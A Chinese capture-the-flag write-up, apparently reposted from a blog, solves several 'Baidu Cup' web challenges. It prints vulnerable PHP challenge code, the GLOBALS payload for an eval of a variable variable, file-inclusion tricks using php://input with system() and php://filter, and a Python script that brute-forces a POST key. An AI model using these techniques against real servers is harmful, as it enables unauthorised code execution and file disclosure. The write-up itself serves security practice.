码迷,mamicode.com
首页 > 其他好文 > 详细

百度杯

时间:2019-04-10 21:39:01      阅读:931      评论:0      收藏:0      [点我收藏+]

标签:自己的   全局变量   读取文件   穷举   charset   flag   add   两种   NPU   

技术图片

一共6道题有两道题没写上。

1.全局变量。

开始给了一大片代码,只截取有用的一部分。

include "flag.php";
$a = @$_REQUEST[‘hello‘];
if(!preg_match(‘/^\w*$/‘,$a )){
  die(‘ERROR‘);
}
eval("var_dump($$a);");
show_source(__FILE__);
?>

hello作为全局变量,如果HELLO被赋值为全局函数,就输出flag。hello=GLOBALS

2.include(文件包含)

技术图片

path作为参数我们需要通过这个参数读取php中的绝对路径。

爆绝对路径有两种方法 1.利用php://input+post覆盖原有变量。2.利用php://filter伪协议读取文件目录。

第一种方式 bp抓包后修改数据

技术图片

技术图片

system函数作为命令执行函数会使文件列出自己的目录。

技术图片

这个就是要用的文件。

之后利用php伪协议读取这段代码

技术图片

解码后

技术图片

3.attrack

 <?php
header("content-type:text/html;charset=utf-8");
show_source(__FILE__);
echo ‘<pre>‘;
include(‘u/ip.php‘);
include(‘flag.php‘);
if (in_array($_SERVER[‘REMOTE_ADDR‘],$ip)){
  die("您的ip已进入系统黑名单");
}
var_dump($ip);

if ($_POST[substr($flag,5,3)]==‘attack‘){
  echo $flag;
}else if (count($_POST)>0){
  $ip = ‘$ip[]="‘.$_SERVER[‘REMOTE_ADDR‘].‘";‘.PHP_EOL; 
  file_put_contents(‘u/ip.php‘,$ip,FILE_APPEND);
}


echo ‘</pre>‘;

array(0) {
}

代码的大概意思就是验证flag从第5位开始之后的3个字符是否符合要求,因此需要穷举所有情况。贴出要写的py脚本。

import requests
flagChar="0123456789abcdefgh"
url="http://9ce38ac00cc94333a493d980280b990d53789b1435df421e.changame.ichunqiu.com/"
dictData={}
for a in flagChar:
    for b in flagChar:
        for c in flagChar:
            dictData[a+b+c]="attack"
print (dictData)
res = requests.post(url,data=dictData)
print (res.text)

技术图片

百度杯

标签:自己的   全局变量   读取文件   穷举   charset   flag   add   两种   NPU   

原文地址:https://www.cnblogs.com/sylover/p/10686220.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!